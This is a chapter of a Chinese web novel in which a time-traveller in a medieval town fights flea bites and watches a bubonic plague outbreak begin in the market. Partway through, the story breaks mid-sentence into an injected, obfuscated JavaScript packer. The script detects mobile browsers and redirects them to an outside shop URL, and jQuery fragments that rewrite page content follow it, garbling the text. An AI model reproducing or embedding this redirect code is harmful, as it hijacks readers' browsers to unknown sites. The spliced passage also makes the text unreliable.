林越醒来后的第一件事，不是睁眼，是抬手。


    左手举到眼前，手腕内侧的两道红痕在昏暗的光线里依然清晰可辨。两道都红得鲜艳，红得刺眼，提醒着他只剩两次死亡机会。


    他盯着那两道红痕看了三秒，然后才慢吞吞地坐起来。旅店房间的天花板是发黑的木板，缝隙里能看到蛛网。空气里有股混合气味——霉味、灰尘、还有楼下厨房飘上来的某种说不清道不明的食物气息。


    “早餐？”林越脑子里闪过这个念头，然后胃部适时地发出抗议。但抗议声很快被另一个更紧急的警报覆盖。


    胳膊痒。


    不是普通的痒，是那种集中在小范围内、带着轻微刺痛感的痒。林越低头看向左臂，靠近手肘内侧的位置，三个新鲜的红点排成不太整齐的三角阵型，每个红点中央都有个微小的凸起。


    他盯着那三个红点，大脑进入分析模式：


    已知信息1：红点，痒，有刺痛感。


    已知信息2：中世纪环境，卫生条件约等于零。


    已知信息3：昨晚睡觉前还没有。


    结论：被咬了。


    但被什么咬了？


    林越翻身下床，走到窗边。灰石镇的清晨光线透过糊着油纸的窗户渗进来，勉强照亮房间。他借着这光仔细检查床铺——稻草垫子，粗布被褥，木板床架。然后他在被褥边缘看到几个移动的小黑点。


    很小，大概芝麻大小，棕色偏黑，移动速度不快，但确实在动。


    林越盯着其中一个看了五秒，看它从被褥边缘爬到木板缝隙，消失不见。


    “跳蚤。”他低声说出这个词，然后脑子里自动弹出后续信息：“鼠疫传播媒介，叮咬后可能携带鼠疫杆菌，十四世纪欧洲黑死病死亡率30%-60%……”


    他抬手揉了揉眉心，把那些过于详细的死亡率数据暂时压下去。现在需要的是应对方案，不是恐慌。


    但另一个念头冒出来：这里的宠物平等权贯彻得真彻底。


    跳蚤咬人，老鼠逛街，谁也不比谁高贵。大家都在这片土地上自由生存，自由觅食，自由传播疾病。如果动物世界也有“众生平等”的标语，灰石镇大概能拿个模范城镇奖。


    林越走回床边，开始检查身体其他部位。腹股沟、腋下、脚踝——跳蚤喜欢叮咬的地方。还好，暂时只发现胳膊上那三个红点。但“暂时”这个词在这种环境里，乐观得有点可笑。


    他穿好衣服，束紧腰带，脑子里已经开始列清单。


    清单第一项：确认风险等级。


    跳蚤叮咬本身不致命，致命的是它可能携带的东西。玛格丽特婆婆昨天那句话在耳边回响：“邻镇的瘟疫更近了。”


    更近了。


    近到什么程度？已经到灰石镇了？还是还在路上？


    林越需要更多信息。而在这个信息闭塞的中世纪小镇，能提供可靠信息的人不多。玛格丽特婆婆是其中之一。


    他推开房门下楼。旅店大堂里，老板正在擦拭一张油腻的木桌，动作敷衍得像在完成某种宗教仪式——做了，但没完全做。


    “早。”林越打招呼。


    老板抬头看他一眼，点点头，继续擦桌子。


    “想问一下，”林越走到柜台前，“镇上最近……老鼠多吗？”


    老板擦桌子的动作停了一秒，然后继续：“一直多。”


    “比平时更多？”


    这次老板彻底停下来了。他放下抹布，看着林越，眼神里有点警惕：“你问这个干什么？”


    “好奇。”林越用上最无害的语气，“昨天听人说邻镇有瘟疫，有点担心。”


    老板沉默了几秒，然后压低声音：“是多了。后厨的面粉袋上周被咬破三个，以前一个月才破一个。”他顿了顿，“但这话别到处说。神父说了，讨论瘟疫是对神的不敬，瘟疫是神的惩罚，我们该做的是忏悔，不是……嗯。”


    不是防治。


    林越听懂了潜台词。他点点头：“明白。谢谢。”


    走出旅店时，清晨的空气扑面而来。林越深吸一口气，然后被呛得咳嗽——空气成分分析：65%尘土，20%牲畜粪便味，10%炊烟，5%说不清道不明的中世纪专属气息。


    他朝玛格丽特婆婆的小屋走去，一边走一边在脑子里开紧急会议。


    会议议题：跳蚤。


    参会人员：林越的理性分析模块、风险评估模块、生存本能模块。


    理性分析模块发言：“已知跳蚤存在，已知老鼠增多，已知邻镇有瘟疫。三者关联性高。建议立即采取防护措施。”


    风险评估模块：“鼠疫通过跳蚤叮咬传播。当前环境跳蚤密度未知，感染概率无法精确计算，但肯定不为零。考虑到中世纪医疗条件，一旦感染，死亡率保守估计50%以上。”


    生存本能模块：“痒。还有，饿。”


    林越揉揉胳膊上的红点，把生存本能模块的声音调低。现在不是关注饥饿的时候，虽然胃部抗议声越来越大。


    玛格丽特婆婆的小屋门虚掩着。林越敲了敲门，里面传来含糊的回应：“进来。”


    推门进去，草药的气味比昨天更浓。婆婆正在捣碎某种干叶子，石臼和杵子发出有节奏的撞击声。


    “婆婆早。”林越说。


    玛格丽特抬头看他，眼睛在皱纹深处打量了他两秒：“早。胳膊怎么了？”


    林越愣了一下，然后意识到自己刚才揉胳膊的动作被看见了。他拉起袖子，露出那三个红点：“被咬了。应该是跳蚤。”


    婆婆放下杵子，走过来看了看，点点头：“是跳蚤。房间里有？”


    “有。”


    “多吗？”


    “看到几只，但感觉不会少。”


    玛格丽特走回工作台，从架子上拿下一个小布袋，从里面抓出一把干叶子：“薄荷。碾碎了撒在床铺周围，有点用，但用处不大。”她又拿出另一个布袋，“薰衣草。一样。”


    林越接过那两个布袋：“谢谢婆婆。还想问一下……邻镇的瘟疫，到底什么情况？”


    玛格丽特沉默了一会儿，捣药的声音重新响起，但节奏慢了些：“发热，发抖，身上长肿块。从脖子、腋下开始，然后……人就没了。”她顿了顿，“灰石镇还没出现，但快了。老鼠多了，跳蚤就多，跳蚤多了……”


    瘟疫就来了。


    林越没说话，等婆婆继续。


    “教会的人说，这是神对罪人的惩罚。”玛格丽特的声音很平静，但平静底下有某种尖锐的东西，“他们说，讨论怎么防治瘟疫，是在质疑神的意志。他们说，该做的是祈祷和忏悔。”


    “那您觉得呢？”林越问。


    婆婆抬起头，眼睛在昏暗的光线里亮了一下：“我觉得，神给了我们草药，给了我们脑子。不用才是罪过。”


    林越点点头。他喜欢这个回答。


    “还有，”玛格丽特补充，“如果看到有人发热、长肿块，别靠近。但如果有办法……可以告诉他们的家人，来我这里拿点退热的草药。虽然不一定有用，但至少能让他们好受点。”


    “教会不管？”


    “教会管祷告。”婆婆的语气里有一丝嘲讽，“祷告治不了发热。”


    林越又问了几个问题：哪些草药对退热有点用，哪些能缓解疼痛，哪些纯粹是安慰剂。玛格丽特一一回答，语气平淡得像在介绍菜市场里的萝卜白菜。


    但林越听得认真。这些信息，在这个时代，可能就是生和死的区别。


    离开小屋时，他手里多了三个小布袋：薄荷、薰衣草，还有一包混合的退热草药。婆婆没收钱，只说：“用完再来拿。”


    回到旅店房间，林越开始执行防护计划。


    第一步：个人防护。


    他从包袱里找出几块碎布条——原本是打算当抹布用的，现在有了更重要的用途。布条撕成合适宽度，分别扎在裤腿和袖口。扎紧，确保没有缝隙。


    然后处理薄荷和薰衣草。干叶子放在木板上，用另一个木板压碎。碎叶子发出清凉的香气，在充满霉味的房间里像一股清流。


    林越把碎叶子分成两份。一份缝进另一个小布袋——用针线活不太熟练的手指艰难地缝了个歪歪扭扭的袋子，挂在腰带上。另一份撒在床铺周围，窗台边缘，门缝底下。


    做完这些，他坐在床边，开始每日检查。


    脱掉上衣，检查腋下、胸口、后背。还好，没有新红点。裤子脱掉，检查腹股沟、大腿内侧。也没有。


    但他知道，这只是时间问题。跳蚤不会因为他撒了点薄荷就集体搬家。它们只是暂时避开这片“气味异常”的区域，等气味淡了，或者饿了，又会回来。


    第二步：环境改造。


    林越下楼找旅店老板：“老板，房间的床铺能帮忙晒晒吗？被褥有点潮。”


    老板从账本里抬起头，看了他一眼：“客人都这样，习惯了。”


    “我可以自己晒，就在后院，晒完自己拿回来。”


    老板沉默了几秒，然后挥挥手：“随便你。但丢了不赔。”


    “明白。”


    林越抱着被褥和稻草垫子下楼，在后院找了块相对干净的空地铺开。阳光照在发黄的布料上，扬起一小片灰尘。


    他站在旁边看了会儿，脑子里评估这个操作的性价比。


    收益：阳光紫外线能杀死部分跳蚤和虫卵，干燥环境不适合跳蚤生存。


    成本：半小时时间，一点体力。


    结论：值得做，但别指望奇迹。


    回到房间，林越从包袱里又翻出一个小纸包——石灰粉。这是他前天在市场买的，原本打算用来处理可能的伤口消毒，现在有别的用途。


    石灰粉沿着墙角撒了一圈，薄薄的一层。跳蚤不喜欢石灰的刺激性气味，这算是一种微弱威慑。


    做完这一切，林越坐在床边，从怀里掏出那本越来越厚的“生存笔记”，翻开新的一页。


    标题：《中世纪防虫防鼠操作手册v1.0》


    内容：


    个人防护：扎紧裤腿袖口，佩戴驱虫香包（薄荷/薰衣草）。


    环境改造：晾晒被褥，墙角撒石灰粉。


    日常检查：早晚各一次，重点检查腋下、腹股沟等部位。


    风险认知：跳蚤=鼠疫传播媒介，老鼠增多=风险增高。


    信息获取渠道：玛格丽特婆婆（草药知识），市井观察（疫情动态）。


    备注：防护效果有限，核心目标是降低概率，不是消除风险。


    写完，林越盯着最后一句话看了几秒。


    降低概率，不是消除风险。


    在这个时代，在这个地方，消除风险是不可能的。他能做的，只是把感染概率从“很高”降到“比较高”，或者从“比较高”降到“有一定可能”。


    而剩下的，交给运气。


    他合上本子，肚子又发出抗议。这次抗议声大到无法忽视。


    该去市场了。买食物，顺便买更多薄荷——驱虫香包需要补充，而且他也想观察一下，玛格丽特婆婆说的“快了”，到底快到什么程度。


    灰石镇的市场在镇中心广场，围绕着一口古井展开。林越到的时候，正是上午最热闹的时候。摊贩的叫卖声、顾客的讨价还价声、牲畜的叫声混在一起，形成一种嘈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190892|195946||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    杂但充满生命力的背景音。


    他先去了粮食摊位，用最后几个铜币买了点黑面包和干豆子。然后去找卖香料的摊位——薄荷应该算香料的一种。


    就在他对比两家摊位的薄荷质量和价格时，广场另一边突然传来骚动。


    人群像被投入石子的水面，迅速向四周散开。原本挤在一起的人们突然拉开距离，中间空出一小片区域。


    林越踮起脚看去。


    空地区域中心，一个卖陶器的摊主倒在地上，身体在剧烈颤抖。旁边打翻的陶罐碎了一地，但他似乎毫无察觉，只是蜷缩着，一只手捂着脖子。


    周围的人群退得更远了。


    有人低声说：“热病……”


    另一个人声音大些：“是黑死病！黑死病来了！”


    这个词像某种咒语，瞬间冻结了周围的空气。原本还在观望的人们也开始后退，眼神里充满恐惧。


    林越站在原地没动。他离得比较远，大概二十米左右，这个距离相对安全。他眯起眼睛，仔细看那个倒地的摊主。


    颤抖，高热导致的脸色潮红，还有……脖子。


    摊主捂着的脖子侧面，有一个明显的肿块，肿得发亮，皮肤紧绷。


    淋巴结肿大。鼠疫的典型症状之一。


    林越脑子里自动调出知识库：腺鼠疫，鼠疫杆菌通过跳蚤叮咬进入人体，在叮咬部位最近的淋巴结繁殖，导致淋巴结炎性肿胀、疼痛、高热。如果不治疗……


    死亡率很高。在这个时代，几乎等于死亡宣判。


    周围的人群还在退。有人转身就跑，撞倒了旁边的摊位也顾不上。有人在胸前画十字，嘴里念念有词。还有人在指责——指着那个倒地的摊主，声音尖利：“他一定是罪人！得罪了上帝！”


    “对！神在惩罚他！”


    “离他远点，免得被牵连！”


    林越听着这些话，心里涌起一股复杂的情绪。有愤怒，但更多的是无力。他知道这些人在恐惧驱动下的反应，在历史上重复过无数次。找替罪羊，归咎于超自然力量，拒绝理性思考——这是人类面对未知灾难时的本能。


    但他也知道，愤怒没用，讲道理更没用。


    他的目光扫过人群，看到一个女人——应该是摊主的妻子或家人，正试图冲过去，但被旁边的人拉住。


    “别过去！你会被传染的！”


    “可他是我丈夫！”


    “你想一起死吗？”


    拉扯，哭喊，混乱。


    林越深吸一口气，然后缓缓吐出来。他不能直接上前——暴露风险太大，而且他确实没有治疗鼠疫的能力。但他可以做点什么。


    他绕到人群外围，找到一个看起来相对冷静的中年男人——刚才拉住那个女人的邻居之一。


    “大叔，”林越压低声音，“那位倒地的摊主，他家人如果需要……玛格丽特婆婆那里有些草药，可能对退热有点帮助。”


    中年男人警惕地看着他：“你是谁？”


    “路过的人。”林越说，“只是传个话。去不去，他们自己决定。”


    说完，他转身离开，没有回头。


    他知道这个建议有多大用——大概等于用创可贴贴大动脉出血。但至少，比什么都不做强。至少，给了那个哭泣的女人一个方向，哪怕那个方向通往的只是一线微弱的希望。


    林越继续在市场上转了一圈，买了需要的薄荷，又观察了一会儿。恐慌在蔓延，虽然还没到全面爆发的程度，但已经能感觉到那种紧绷的气氛。


    人们交谈时声音压得更低，眼神更警惕，肢体接触明显减少。原本拥挤的市场，现在人与人之间都下意识保持着一小段距离。


    社会秩序的裂痕，已经开始显现。


    回旅店的路上，林越走得很慢。他观察街道两边的房屋，观察行人的表情，观察这个小镇在瘟疫阴影下的细微变化。


    然后他听到了钟声。


    不是平常的整点报时钟声，而是急促的、连续的敲击声，从镇子另一头的教堂传来。钟声里透着某种紧迫感，像在宣告什么紧急事件。


    林越停下脚步，侧耳倾听。


    钟声持续了大概一分钟，然后停下。街道上有几个人也停下来，抬头看向教堂方向，脸上露出不安的表情。


    林越继续往前走，在拐角处听到两个路人的窃窃私语。


    “……又发现三个。”


    “东街那边，铁匠一家……”


    “天哪……”


    声音越来越远，两个路人匆匆离开，像在躲避什么看不见的东西。


    林越站在原地，暮色开始笼罩街道。他抬起左手，手腕伸到眼前。


    两道红痕，在逐渐暗淡的光线里，依然红得鲜艳，红得刺眼。


    他看着那两道红痕，脑子里闪过一个清晰的认知：


    跳蚤战争，只是开始。


    真正的瘟疫海啸，正在登陆。


    而他建立的那些防护措施——扎紧的裤腿，腰间的香包，墙角的石灰粉，晾晒过的被褥——在这场海啸面前，脆弱得像纸糊的盾牌。


    风一吹，浪一拍，就会碎。


    林越放下手，继续朝旅店走去。步伐不快，但很稳。


    他知道接下来要面对什么。更多的病例，更深的恐慌，更严酷的生存考验。而他只剩两次死亡机会。


    两次。


    走到旅店门口时，他回头看了一眼暮色中的灰石镇。炊烟从烟囱升起，但比平时少。街道上行人稀少，窗户紧闭。


    这个小镇，正在沉入某种漫长而黑暗的夜晚。


    林越推门进去。


    战争，开始了。